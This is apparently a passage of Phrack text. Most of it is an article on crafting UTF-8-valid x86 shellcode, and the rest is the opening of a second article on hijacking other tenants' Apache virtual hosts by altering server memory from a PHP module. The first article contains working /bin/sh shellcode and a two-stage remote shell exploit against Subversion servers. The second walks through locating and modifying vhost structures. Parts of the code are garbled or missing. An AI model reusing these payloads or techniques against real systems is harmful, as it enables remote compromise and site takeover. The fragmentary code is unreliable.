  2.1 - UTF-8 in detail
  2.2 - Advantages of using UTF-8

3 - The need for UTF-8 compatible shellcodes
  3.1. - UTF-8 sequences
    3.1.1 - Possible sequences
    3.1.2 - UTF-8 shortest form
    3.1.3 - Valid UTF-8 sequences

4 - Creating the shellcode
  4.1 - Bytes that come in handy
    4.1.1 - Continuation bytes
    4.1.2 - Masking continuation bytes
    4.1.3 - Chaining instructions
  4.2 - General design rules
  4.3 - Testing the code

5 - A working example
  5.1 - The original shellcode
  5.2 - UTF-8-ify
  5.3 - Let's try it out
  5.4 - A real exploit using these techniques

6. - Considerations
  6.1 - Automated shellcode transformer
  6.2 - UTF-8 in XML-files

7 - Greetings, last words

- ----------------------------------------------------------------------------

- ---[ 1. Abstract

This paper deals with the creation of shellcode that is recognized as
valid by any UTF-8 parser. The problem is not unlike the alphanumeric
shellcodes problem described by rix in phrack 57 [4], but fortunately
we have much more characters available, so we can almost always build
shellcode that is valid UTF-8 and does what we want.

I will show you a brief introduction into UTF-8 and will outline the
characters available for building shellcodes. You will see that it's
generally possible to make any shellcode valid UTF-8, but you will have
to think quite a bit. A working example is provided at the end for

- ----------------------------------------------------------------------------

- ---[ 2. What is UTF-8?

For a really great introduction into the topic, I highly suggest reading
the "UTF-8 and Unicode FAQ" [1] by Markus Kuhn.

UTF-8 is a character encoding, suitable to represent all 2^31 characters
defined by the UNICODE standard. The really neat thing about UTF-8 is
that all ASCII characters (the lower codepage in standard encodings like
ISO-8859-1 etc) are the same in UTF-8 - no conversion needed. That means,
in the best case, all your config files in /etc and every English text
document you have on your computer right now are already 100% valid UTF-8.

Unicode characters are written like this: U-0000007F, which stands for 
"the 128th character in the Unicode character space". You can see that
with this representation one can easily represent all 2^31 characters that
the Unicode-standard defines, but it's a waste of space (when you write
English or western text) and - much more important - makes the transition
to Unicode very hard (convert all the files you already have). "Hello"
would thus be encoded like:

   U-00000047 U-00000065 U-0000006C U-0000006C U-0000006F

which is in hex:

   \x47\x00\x00\x00 \x65\x00\x00\x00 \x6C\x00\x00\x00 \x6C\x00\x00\x00

(for all you little endian friends).
What a waste of space! 20 bytes for 5 characters... The same text in



Let's look at the encoding in more detail.

- ---[ 2.1. UTF-8 in detail

UTF-8 can represent any Unicode character in an UTF-8 sequence between
1-6 bytes. 

As I already mentioned before, the characters in the lower codepage 
(ASCII-code) are the same in Unicode - they have the character values
U-00000000 - U-0000007F. You therefore still only need 7 bits to
represent all possible values. UTF-8 says, if you only need up to 7
bits for your character, stuff it into one byte and you are fine.

Unicode-characters that have higher values than U-0000007F must be
mapped to two or more bytes, as shown in the table below:

U-00000000 - U-0000007F: 0xxxxxxx  
U-00000080 - U-000007FF: 110xxxxx 10xxxxxx 
U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx


This character's value is between U-00000080 and U-000007FF, so we
have to encode it using 2 bytes. 0xC4 is 11000100 binary. UTF-8 fills
up the places marked 'x' above with these bits, beginning at the
lowest significant bit.

    110xxxxx 10xxxxxx
+         11   000100
    11000011 10000100

which results in 0xC3 0x84 in UTF-8.

Example: U-0000211C (BLACK-LETTER CAPITAL R)

The same here. According to the table above, we need 3 bytes to encode
this character.

0x211C is 00100001 00011100 binary. Lets fill up the spaces:

    1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx
+         00   100001   000100   011100
    11100000 10100001 10000100 10011100

which is 0xE0 0xB1 0x84 0x9C in UTF-8.

I hope you get the point now :-)

- ---[ 2.2. Advantages of using UTF-8

UTF-8 combines the flexibility of Unicode (think of it: no more codepages
mess!) with the ease-of-use of traditional encodings. Also, the transition
to complete worldwide UTF-8 support is easy to do, because every plain-
7-bit-ASCII-file that exists right now (and existed since the 60s) will
be valid in the future too, without any modifications. Think of all your
config files!

- ----------------------------------------------------------------------------

- ---] 3. The need for UTF-8 compatible shellcodes

So, since we know now that UTF-8 is going to save our day in the future,
why would we need shellcodes that are valid UTF-8 texts?

Well, UTF-8 is the default encoding for XML, and since more and more
protocols start using XML and more and more networking daemons use these
protocols, the chances to find a vulnerability in such a program
increases. Additionally, applications start to pass user input around 
encoded in UTF-8. So sooner or later, you will overflow a buffer with
UTF-8-data. Now you want that data to be executable AND valid UTF-8.

- ---] 3.1. UTF-8 sequences

Fortunately, the situation is not _that_ desperate, compared to 
alphanumeric shellcodes. There, we only have a very limited character
set, and this really limits the instructions available. With UTF-8, we
have a much bigger character space, but there is one problem: we are
limited in the _sequence_ of characters. For example, with alphanumeric
shellcodes we don't care if the sequence is "AAAC" or "CAAA" (except
for the problem, of course, that the instructions have to make sense :))
But with UTF-8, for example, 0xBF must not follow 0xBF. Only certain
bytes may follow other bytes. This is what the UTF-8-shellcode-magic
is all about.

- ---] 3.1.1. Possible sequences

Let's look into the available "UTF-8-codespace" more closely:

U-00000000 - U-0000007F: 0xxxxxxx = 0 - 127 = 0x00 - 0x7F
   This is much like the alphanumeric shellcodes - any character
   can follow any character, so 0x41 0x42 0x43 is no problem, for

U-00000080 - U-000007FF: 110xxxxx 10xxxxxx 
   First byte: 0xC0 - 0xDF
   Second byte: 0x80 - 0xBF
   You see the problem here. A valid sequence would be 0xCD 0x80
   (do you remember that sequence - int $0x80 :)), because the byte
   following 0xCD must be between 0x80 and 0xBF. An invalid 
   sequence would be 0xCD 0x41, every UTF-8-parser chokes on 
U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
   First byte: 0xE0 - 0xEF
   Following 2 bytes: 0x80 - 0xBF
   So, if the sequence starts with 0xE0 to 0xEF, there must be
   two bytes following between 0x80 and 0xBF. Fortunately we can
   often use 0x90 here, which is nop. But more on that later.

U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
   First byte: 0xF0 - 0xF7
   Following 3 bytes: 0x80 - 0xBF
   You get the point.

U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
   First byte: 0xF8 - 0xFB
   Following 4 bytes: 0x80 - 0xBF

U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
   First byte: 0xFC - 0xFD
   Following 5 bytes: 0x80 - 0xBF

So we know now what bytes make up UTF-8:

0x00 - 0x7F without problems
0x80 - 0xBF only as a "continuation byte" in the middle of a sequence
0xC0 - 0xDF as a start-byte of a two-byte-sequence (1 continuation byte)
0xE0 - 0xEF as a start-byte of a three-byte-sequence (2 continuation bytes)
0xF0 - 0xF7 as a start-byte of a four-byte-sequence (3 continuation bytes)
0xF8 - 0xFB as a start-byte of a five-byte-sequence (4 continuation bytes)
0xFC - 0xFD as a start-byte of a six-byte-sequence (5 continuation bytes)
0xFE - 0xFF not usable! (actually, they may be used only once in a UTF-8-
            text - the sequence 0xFF 0xFE marks the start of such a

- ---] 3.1.2. UTF-8 shortest form

Unfortunately (for us), the Corrigendum #1 to the Unicode standard [2]
specifies that UTF-8-parsers only accept the "UTF-8 shortest form"
as a valid sequence.

What's the problem here? 

Well, without that rule, we could encode the character U+0000000A (line
feed) in many different ways:

0x0A - this is the shortest possible form
0xC0 0x8A
0xE0 0x80 0x8A
0xF0 0x80 0x80 0x8A
0xF8 0x80 0x80 0x80 0x8A
0xFC 0x80 0x80 0x80 0x80 0x8A

Now that would be a big security problem, if UTF-8 parsers accepted
_all_ the possible forms. Look at the strcmp routine - it compares two
strings byte per byte to tell if they are equal or not (that still works
this way when comparing UTF-8-strings). An attacker could generate a string
with a longer form than necessary and so bypass string comparison checks,
for example.

Because of this, UTF-8-parsers are _required_ to only accept the shortest
possible form of a sequence. This rules out sequences that start with one
of the following byte patterns:

1100000x (10xxxxxx)
11100000 100xxxxx (10xxxxxx)
11110000 1000xxxx (10xxxxxx 10xxxxxx)
11111000 10000xxx (10xxxxxx 10xxxxxx 10xxxxxx)
11111100 100000xx (10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx) 

Now certain sequences become invalid, for example 0xC0 0xAF, because
the resulting UNICODE character is not encoded in its shortest form.

- ---] 3.1.3. Valid UTF-8 sequences

Now that we know all this, we can tell which sequences are valid

 Code Points      1st Byte  2nd Byte 3rd Byte 4th Byte
U+0000..U+007F     00..7F          
U+0080..U+07FF     C2..DF    80..BF       
U+0800..U+0FFF     E0        A0..BF   80..BF    
U+1000..U+FFFF     E1..EF    80..BF   80..BF    
U+10000..U+3FFFF   F0        90..BF   80..BF   80..BF
U+40000..U+FFFFF   F1..F3    80..BF   80..BF   80..BF
U+100000..U+10FFFF F4        80..8F   80..BF   80..BF

Let's look how to build UTF-8-shellcode!

- ----------------------------------------------------------------------------

- ---] 4. Creating the shellcode

Before you start, be sure that you are comfortable creating "standard" 
shellcode, i.e. shellcode that has no limitations in the instructions 

We know which characters we can use and that we have to pay attention to
the character sequence. Basically, we can transform any shellcode to
UTF-8 compatible shellcode, but we often need some tricks.

- ---] 4.1. Bytes that come in handy

The biggest problem while building UTF-8-shellcode is that you have
to get the sequences right.

     "\x31\xc9"          // xor %ecx, %ecx
     "\x31\xdb"          // xor %ebx, %ebx

We start with \x31. No problem here, \x31 is between \x00 and \x7f,
so we don't need any more continuation bytes. \xc9 is next. Woops -
it is between \xc2 and \xdf, so we need a continuation byte. What
byte is next? \x31 - that is no valid continuation byte (which 
have to be between \x80 and \xbf). So we have to insert an instruction
here that doesn't harm our code *and* makes the sequence UTF-8-

- ---] 4.1.1. Continuation bytes

We are lucky here. The nop instruction (\x90) is the perfect 
continuation byte and simply does nothing :) (exception: you can't use
it if it is the first continuation byte in a \xe1-\xef sequence - 
see the table in 3.1.3). 

So to handle the problem above, we would simply do the following:

     "\x31\xc9"          // xor %ecx, %ecx
     "\x90"              // nop (UTF-8)
     "\x31\xdb"          // xor %ebx, %ebx
     "\x90"              // nop (UTF-8)

(I always mark bytes I inserted because of UTF-8 so I don't accidentally
optimize them away later when I need to save space)

- ---] 4.1.2. Masking continuation bytes

The other way round, you often have instructions that start with a
continuation byte, i.e. the first byte of the instruction is between
\x80 and \xbf:

     "\x8d\x0c\x24"      // lea (%esp,1),%ecx

That means you have to find an instruction that is only one byte long
and lies between \xc2 and \xdf.

The most suitable one I found here is SALC [2]. This is an *undocumented*
Intel opcode, but every Intel CPU (and compatible) supports it. The
funny thing is that even gdb reports an "invalid opcode" there. But it
works :) The opcode of SALC is \xd6 so it suits our purpose well.

The bad thing is that it has side effects. This instruction modifies
%al depending on the carry flag (see [3] for details). So always think
about what happens to your %eax register when you insert this instruction!

Back to the example, the following modification makes the sequence valid

     "\xd6"              // salc (UTF-8)
     "\x8d\x0c\x24"      // lea (%esp,1),%ecx

- ---] 4.1.3. Chaining instructions

If you are lucky, instructions that begin with continuation bytes follow
instructions that need continuation bytes, so you can chain them together,
without inserting extra bytes.

You can often safe space this way just by rearranging instructions, so
think about it when you are short of space.

- ---] 4.2. General design rules

%eax is evil. Try to avoid using it in instructions that use it as a
parameter because the instruction then often contains \xc0 which is
invalid in UTF-8. Use something like

    xor %ebx, %ebx
    push %ebx
    pop %eax

(pop %eax has an instruction code of its own - and a very UTF-8 friendly
one, too :)

- ---] 4.3. Testing the code

How can you test the code? Use iconv, it comes with the glibc. You
basically convert the UTF-8 to UTF-16, and if there are no error
messages then the string is valid UTF-8. (Why UTF-16? UTF-8 sequences
can yield character codes well beyond 0xFF, so the conversion would
fail in the other direction if you would convert to LATIN1 or ASCII.
Drove me nuts some time ago, because I always thought my UTF-8 was

First, invalid UTF-8:

greuff@pluto:/tmp$ hexdump -C test
00000000  31 c9 31 db                                       |1.1.|
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test
1iconv: illegal input sequence at position 1

And now valid UTF-8:

greuff@pluto:/tmp$ hexdump -C test
00000000  31 c9 90 31 db 90                                 |1..1..|
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test

- ----------------------------------------------------------------------------

- ---] 5. A working example

Now onto something practical. Let's convert a classical /bin/sh-spawning
shellcode to UTF-8.

- ---] 5.1. The original shellcode

    "\x31\xd2"                // xor    %edx,%edx
    "\x52"                    // push   %edx
    "\x68\x6e\x2f\x73\x68"    // push   $0x68732f6e
    "\x68\x2f\x2f\x62\x69"    // push   $0x69622f2f
    "\x89\xe3"                // mov    %esp,%ebx
    "\x52"                    // push   %edx
    "\x53"                    // push   %ebx
    "\x89\xe1"                // mov    %esp,%ecx
    "\xb8\x0bx\00\x00\x00"    // mov    $0xb,%eax
    "\xcd\x80"                // int    $0x80

The code simply prepares the stack in the right way, sets some registers
and jumps into kernel space (int $0x80).

- ---] 5.2. UTF-8-ify

That's an easy example, no big obstacles here. The only obvious problem
is the "mov $0xb,%eax" instruction. I am quite lazy now, so I'll just
copy %edx (which is guaranteed to contain 0 at this time) to %eax and 
increase it 11 times :) 

The new shellcode looks like this (wrapped into a C program so you
can try it out):

- ----------8<------------8<-------------8<------------8<---------------
#include <stdio.h>

char shellcode[]=
    "\x31\xd2"                // xor    %edx,%edx
    "\x90"                    // nop (UTF-8 - because previous byte was 0xd2)
    "\x52"                    // push   %edx
    "\x68\x6e\x2f\x73\x68"    // push   $0x68732f6e
    "\x68\x2f\x2f\x62\x69"    // push   $0x69622f2f
    "\xd6"                    // salc (UTF-8 - because next byte is 0x89)
    "\x89\xe3"                // mov    %esp,%ebx
    "\x90"                    // nop (UTF-8 - two nops because of 0xe3)
    "\x90"                    // nop (UTF-8)
    "\x52"                    // push   %edx
    "\x53"                    // push   %ebx
    "\xd6"                    // salc (UTF-8 - because next byte is 0x89)
    "\x89\xe1"                // mov    %esp,%ecx
    "\x90"                    // nop (UTF-8 - same here)
    "\x90"                    // nop (UTF-8)
    "\x52"                    // push %edx
    "\x58"                    // pop %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\xcd\x80"                // int    $0x80

void main()
   int *ret;
   FILE *fp;
   ret=(int *)(&ret+2);
- ----------8<------------8<-------------8<------------8<---------------

As you can see, I used nop's as continuation bytes as well as salc
to mask out continuation bytes. You'll quickly get an eye for this
if you do it often.

- ---] 5.3. Let's try it out

greuff@pluto:/tmp$ gcc test.c -o test
test.c: In function `main':
test.c:37: warning: return type of `main' is not `int'
greuff@pluto:/tmp$ ./test
sh-2.05b$ exit
greuff@pluto:/tmp$ hexdump -C out
00000000  31 d2 90 52 68 6e 2f 73  68 68 2f 2f 62 69 d6 89  |1..Rhn/shh//bi..|
00000010  e3 90 90 52 53 d6 89 e1  90 90 52 58 40 40 40 40  |...RS.....RX@@@@|
00000020  40 40 40 40 40 40 40 cd  80                       |@@@@@@@..|
greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 out && echo valid!

Hooray! :-)

- ---] 5.4. A real exploit using these techniques

The recent date parsing buffer overflow in Subversion <= 1.0.2 led
me into researching these problems and writing the following exploit.
It isn't 100% finished; but it works against svn:// and http:// URLs.
The first shellcode stage is a hand crafted UTF-8-shellcode, that
searches for the socket file descriptor and loads a second stage shellcode
from the exploit and executes it. A real life example showing you that
these things actually work :)

- ----------8<------------8<-------------8<------------8<---------------
 * hoagie_subversion.c
 * Remote exploit against Subversion-Servers.
 * Author: greuff <>
 * Tested on Subversion 1.0.0 and 0.37
 * Algorithm:
 * This is a two-stage exploit. The first stage overflows a buffer
 * on the stack and leaves us ~60 bytes of machine code to be
 * executed. We try to find the socket-fd there and then do a 
 * read(2) on the socket. The exploit then sends the second stage
 * loader to the server, which can be of any length (up to the
 * obvious limits, of course). This second stage loader spawns 
 * /bin/sh on the server and connects it to the socket-fd.
 * Credits:

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>

enum protocol { SVN, SVNSSH, HTTP, HTTPS };

char stage1loader[]=
             // begin socket fd search
             "\x31\xdb"            // xor %ebx, %ebx
             "\x90"                // nop (UTF-8)
             "\x53"                // push %ebx
             "\x58"                // pop %eax
             "\x50"                // push %eax
             "\x5f"                // pop %edi                # %eax = %ebx = %edi = 0
             "\x2c\x40"            // sub $0x40, %al
             "\x50"                // push %eax
             "\x5b"                // pop %ebx
             "\x50"                // push %eax
             "\x5a"                // pop %edx                # %ebx = %edx = 0xC0
             "\x57"                // push %edi
             "\x57"                // push %edi               # safety-0
             "\x54"                // push %esp
             "\x59"                // pop %ecx                # %ecx = pointer to the buffer
             "\x4b"                // dec %ebx                # beginloop:
             "\x57"                // push %edi
             "\x58"                // pop %eax                # clear %eax
             "\xd6"                // salc (UTF-8)
             "\xb0\x60"            // movb $0x60, %al
             "\x2c\x44"            // sub $0x44, %al          # %eax = 0x1C
             "\xcd\x80"            // int $0x80               # fstat(i, &stat)
             "\x58"                // pop %eax
             "\x58"                // pop %eax
             "\x50"                // push %eax
             "\x50"                // push %eax
             "\x38\xd4"            // cmp %dl, %ah            # uppermost 2 bits of st_mode set?
             "\x90"                // nop (UTF-8)
             "\x72\xed"            // jb beginloop
             "\x90"                // nop (UTF-8)
             "\x90"                // nop (UTF-8)             # %ebx now contains the socket fd
             // begin read(2)
             "\x57"                // push %edi
             "\x58"                // pop %eax                # zero %eax
             "\x40"                // inc %eax
             "\x40"                // inc %eax
             "\x40"                // inc %eax                # %eax=3
             //"\x54"                // push %esp
             //"\x59"                // pop %ecx                # %ecx ... address of buffer
             //"\x54"                // push %edi
             //"\x5a"                // pop %edx                # %edx ... bufferlen (0xC0)
             "\xcd\x80"            // int $0x80               # read(2) second stage loader
             "\x39\xc7"            // cmp %eax, %edi
             "\x90"                // nop (UTF-8)
             "\x7f\xf3"            // jg startover
             "\x90"                // nop (UTF-8)
             "\x90"                // nop (UTF-8)
             "\x90"                // nop (UTF-8)
             "\x54"                // push %esp
             "\xc3"                // ret                     # execute second stage loader
             "\x90"                // nop (UTF-8)
             "\0"    // %ebx still contains the fd we can use in the 2nd stage loader.

char stage2loader[]=
             // dup2 - %ebx contains the fd
             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
             "\xb9\x00\x00\x00\x00"   // mov $0x0, %ecx
             "\xcd\x80"               // int $0x80
             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
             "\xb9\x01\x00\x00\x00"   // mov $0x1, %ecx
             "\xcd\x80"               // int $0x80
             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
             "\xb9\x02\x00\x00\x00"   // mov $0x2, %ecx
             "\xcd\x80"               // int $0x80
             // start /bin/sh
             "\x31\xd2"               // xor %edx, %edx
             "\x52"                   // push %edx
             "\x68\x6e\x2f\x73\x68"   // push $0x68732f6e
             "\x68\x2f\x2f\x62\x69"   // push $0x69622f2f
             "\x89\xe3"               // mov %esp, %ebx
             "\x52"                   // push %edx
             "\x53"                   // push %ebx
             "\x89\xe1"               // mov %esp, %ecx
             "\xb8\x0b\x00\x00\x00"   // mov $0xb, %eax
             "\xcd\x80"               // int $0x80
             "\xb8\x01\x00\x00\x00"   // mov $0x1, %eax
             "\xcd\x80"               // int %0x80     (exit)

int stage2loaderlen=69;
char requestfmt[]=
"REPORT %s HTTP/1.1\n"
"Host: %s\n"
"User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"
"Content-Length: %d\n"
"Content-Type: text/xml\n"
"Connection: close\n\n"

char xmlreqfmt[]=
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<S:dated-rev-report xmlns:S=\"svn:\" xmlns:D=\"DAV:\">"

int parse_uri(char *uri,enum protocol *proto,char host[1000],int *port,char repos[1000])
   char *ptr;
   char bfr[1000];
   if(!ptr) return -1;
      *proto=HTTP, *port=80;
   else if(!strcmp(bfr,"svn"))
      *proto=SVN, *port=3690;
      printf("Unsupported protocol %s\n",bfr);
      return -1;
      if((ptr=strchr(uri,'/'))==NULL) return -1;
   else if((ptr=strchr(uri,'/')))
   return 0;

int exec_sh(int sockfd)
   char snd[4096],rcv[4096];
   fd_set rset;

int main(int argc, char **argv)
   int sock, port;
   size_t size;
   char cmd[1000], reply[1000], buffer[1000];
   char svdcmdline[1000];
   char host[1000], repos[1000], *ptr, *caddr;
   unsigned long addr;
   struct sockaddr_in sin;
   struct hostent *he;
   enum protocol proto;

   return 0;*/

   printf("hoagie_subversion - remote exploit against subversion servers\n"
      printf("Usage: %s serverurl offset\n\n",argv[0]);
             "   %s svn://localhost/repository 0x41414141\n"
             "   %s 0x40414336\n\n",argv[0],argv[0]);
      printf("The offset is an alphanumeric address (or UTF-8 to be\n"
             "more precise) of a pop instruction, followed by a ret.\n"
             "Brute force when in doubt.\n\n");
      printf("When exploiting against an svn://-url, you can supply a\n"
             "binary offset too.\n\n");

   // parse the URI
      printf("URI parse error\n");
   printf("parse_uri result:\n"
          "Protocol: %d\n"
          "Host: %s\n"
          "Port: %d\n"
          "Repository: %s\n\n",proto,host,port,repos);
   caddr=(char *)&addr;
   printf("Using offset 0x%02x%02x%02x%02x\n",caddr[3],caddr[2],caddr[1],caddr[0]);

      return -1;

      return -1;
   if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
      return -1;

      printf("Server said: %s\n",reply);
      snprintf(cmd,sizeof(cmd),"( 2 ( edit-pipeline ) %d:%s ) ",strlen(svdcmdline),svdcmdline);
      printf("Server said: %s\n",reply);
      strcpy(cmd,"( ANONYMOUS ( 0: ) ) ");
      printf("Server said: %s\n",reply);
      snprintf(cmd,sizeof(cmd),"( get-dated-rev ( %d:%s%c%c%c%c ) ) ",strlen(stage1loader)+4,stage1loader,
      printf("Server said: %s\n",reply); 
   else if(proto==HTTP)
      // preparing the request...

      // now sending the request, immediately followed by the 2nd stage loader

   printf("Entering shell loop...\n");

   printf("\nConnecting to the shell...\n");
   exec_sh(connect_sh()); */
   return 0;
- ----------8<------------8<-------------8<------------8<---------------

- ----------------------------------------------------------------------------

- ---] 6. Considerations

Some thoughts about the whole topic.

- ---] 6.1. Automated shellcode transformer

Perhaps it's possible to write an automated shellcode transformer that gets
a shellcode and outputs the shellcode UTF-8 compatible (similar to rix's
alphanumeric shellcode compiler [4]), but it would be a challenge. Many
decisions during the transformation process cannot be automated in my
opinion. (By the way - alphanumeric shellcode is of course valid UTF-8!
So if you want to save time and space it's not a problem, just use the 
alphanumeric shellcode compiler on your shellcode and use that!)

- ---] 6.2. UTF-8 in XML-files

When you write UTF-8 shellcode for the purpose of sending it in an XML-
document, you'll have to care for a few more things. The bytes \x00 to
\x08 are forbidden in XML, as well as the obvious characters like '<',
'>' and so on. Don't forget that when you exploit your favourite XML-
processing app!
- ----------------------------------------------------------------------------

- ---] 7. Greetings, last words (man, get a nick :))
soletario (the indoor snowboarder)
all the other people who often helped me out

- ----------------------------------------------------------------------------


|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x0a of 0x10

|=-=[ Attacking Apache with builtin Modules in Multihomed Environments ]=|
|=-----------------------=[ Andi <> ]=----------------------=|

--[ Contents

  1 - Introduction

  2 - Apache Memory Layout: Virtual Hosts

  3 - Get Virtual Hosts from Memory

  4 - Modify a Virtual Host

  5 - A sample attack

  6 - Add a new Virtual Host

  7 - Keep it up
  8 - Solution

  9 - References
  A - Appendix: The implementation

--[ 1 - Introduction

This paper will show a simple way to modify the memory layout from an
Apache [1] process. Most Webhosting Providers use PHP [2], Mod_perl [3] as
builtin Apache module to improve the web server performance. This method
is of course much faster than loading external programs or extensions (i.e.
running php in cgi mode). But on the other side this script runs in the
same memory space as the apache process so you can easily change
contents of memory. 

There's one reason why all this stuff will work as good as it should.
Apache holds 5 children in memory (per default). After a HTTP request the
process will not be killed. Instead of exiting the current apache process
after closing the connection the next request will be processed by the
same process. So when you send a lot of requests to the apache server you
can "infect" every process.

We use this attack technique to hijack a virtual host on server. I know,
there are other methods to get control over the HTTP requests (using open
file descriptors,...). But all other methods require at least one process
running on the server that handles the HTTP requests and redirect them.
This way of hijacking apache doesn't require another process because we 
change the memory of the apache process itself and so it works normal as 
This attack technique requires access to an account on a webserver which 
hosts at least two sites (else it wouldnt make any sense). You can't
exploit Apache without your own php script on that server (well perhaps
there are some "Remote Include" vulnerabilities so you can run a script on
the remote machine).

--[ 2 - Apache Memory Layout: Virtual Hosts

So when Apache recieves a HTTP request an object from type request_rec 
will be created. This object contains information about the HTTP request
like the method which is used (GET, POST..), the HTTP protocol number etc.
Now the correct list for the server ip will be looked up in the IP address
hash table (iphash_table). The pointer from that list will be stored in
the request object (variable vhost_lookup_data). After the headers from
the HTTP request have been read Apache updates it's vhost status. It will
use the vhost_lookup_data pointer to find the correct virtual host.

Apache uses internal lists for it's virtual hosts. To speed up search 
requests there is more than one list and a hash table for IP address
lookups. The information about every virtual host is stored in an object
from type server_rec.

struct server_rec {

    server_rec *next;


    /* Contact information */

    char *server_admin;
    char *server_hostname;
    unsigned short port;        /* for redirects, etc. */


    char *path;                 /* Pathname for ServerPath */
    int pathlen;                /* Length of path */

    array_header *names;        /* Normal names for ServerAlias servers */
    array_header *wild_names;/* Wildcarded names for ServerAlias servers */

    uid_t server_uid; /* effective user id when calling exec wrapper */
    gid_t server_gid; /* effective group id when calling exec wrapper */

As you can see there are many interesting values we would like to change.
Imagine you are running a virtual host on the same web server as So you simply have to look for that virtual host and
change the variables.

So we know where Apache stores the virtual host information. Now we have to
find the list and structures that points to those server_rec objects. Lets
have a look where Apache initializes its virtual hosts.

/* called at the beginning of the config */
API_EXPORT(void) ap_init_vhost_config(pool *p)
    memset(iphash_table, 0, sizeof(iphash_table));
    default_list = NULL;
    name_vhost_list = NULL;
    name_vhost_list_tail = &name_vhost_list;

As you can see there are two lists and one hash table. The hash table is
used for IP address lookups. The default_list contains _default_ server
entries and name_vhost_list contains all other virtual hosts. The objects
from the hash table have the following structure:

struct ipaddr_chain {
    ipaddr_chain *next;
    server_addr_rec *sar;    /* the record causing it to be in
                              * this chain (need for both ip addr and port
                              * comparisons) */
    server_rec *server;      /* the server to use if this matches */
    name_chain *names;       /* if non-NULL then a list of name-vhosts
                              * sharing this address */

Then you have a list of virtual hosts names poiting to that IP address
(name_chain *names). And from that structure we can directly access the
virtual host data:

struct name_chain {
    name_chain *next;
    server_addr_rec *sar;    /* the record causing it to be in
                              * this chain (needed for port comparisons) */
    server_rec *server;         /* the server to use on a match */

So the following code will find the correct vhost (variable host):
    for (i = 0; i < IPHASH_TABLE_SIZE; i++) {
       for (trav = iphash_table[i]; trav; trav = trav->next) {
           for (n = trav->names; n != NULL; n = n->next) {
               conf = ap_get_module_config(n->server->module_config, 
               if ( (host != NULL && 
                    !strcmp(host, n->server->server_hostname)) ||
                           host == NULL ){
                              php_printf("VirtualHost: [%s, %s, %s, %s]<br>\n",

--[ 3 - Get Virtual Hosts from Memory

If we want to change the characteristics of virtual hosts we have to know where
Apache stores the lists in memory. Apache initialize this list before
reading the config file. This is done in the ap_init_vhost_config()

/* called at the beginning of the config */
API_EXPORT(void) ap_init_vhost_config(pool *p)
    memset(iphash_table, 0, sizeof(iphash_table)); <----  Yes, thats great
    default_list = NULL;
    name_vhost_list = NULL;
    name_vhost_list_tail = &name_vhost_list; 

So there are many ways to get the address of iphash_table. You can use
gdb, nm (when not stripped),..

andi@blackbull:~$ gdb /usr/sbin/apache
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)...
(gdb) disass ap_init_vhost_config
Dump of assembler code for function ap_init_vhost_config:
0x080830e0 <ap_init_vhost_config+0>:    push   %ebp
0x080830e1 <ap_init_vhost_config+1>:    mov    %esp,%ebp
0x080830e3 <ap_init_vhost_config+3>:    sub    $0x8,%esp
0x080830e6 <ap_init_vhost_config+6>:    add    $0xfffffffc,%esp
0x080830e9 <ap_init_vhost_config+9>:    push   $0x400
0x080830ee <ap_init_vhost_config+14>:   push   $0x0
0x080830f0 <ap_init_vhost_config+16>:   push   $0x80ceec0
					       address of iphash_table
0x080830f5 <ap_init_vhost_config+21>:   call   0x804f858 <memset>
0x080830fa <ap_init_vhost_config+26>:   add    $0x10,%esp
0x080830fd <ap_init_vhost_config+29>:   movl   $0x0,0x80cf2c0
0x08083107 <ap_init_vhost_config+39>:   movl   $0x0,0x80cf2c4
0x08083111 <ap_init_vhost_config+49>:   movl   $0x80cf2c4,0x80cf2c8
0x0808311b <ap_init_vhost_config+59>:   leave
0x0808311c <ap_init_vhost_config+60>:   ret
0x0808311d <ap_init_vhost_config+61>:   lea    0x0(%esi),%esi
End of assembler dump.

If you dont have access to the apache binary you have to use another
method: In hoagie_apachephp.c there are some external defintions of apache

/* some external defintions to get address locations from memory */
extern API_EXPORT(void) ap_init_vhost_config(pool *p);
extern API_VAR_EXPORT module core_module;

So inside our module we already have the address for this functions and
can use the integrated disassembler to get the addresses.

iphash_table =
   (ipaddr_chain **)getcall((char*)ap_init_vhost_config, "push", 3);

default_list = 
   (ipaddr_chain *)getcall((char*)ap_init_vhost_config, "mov", 1);
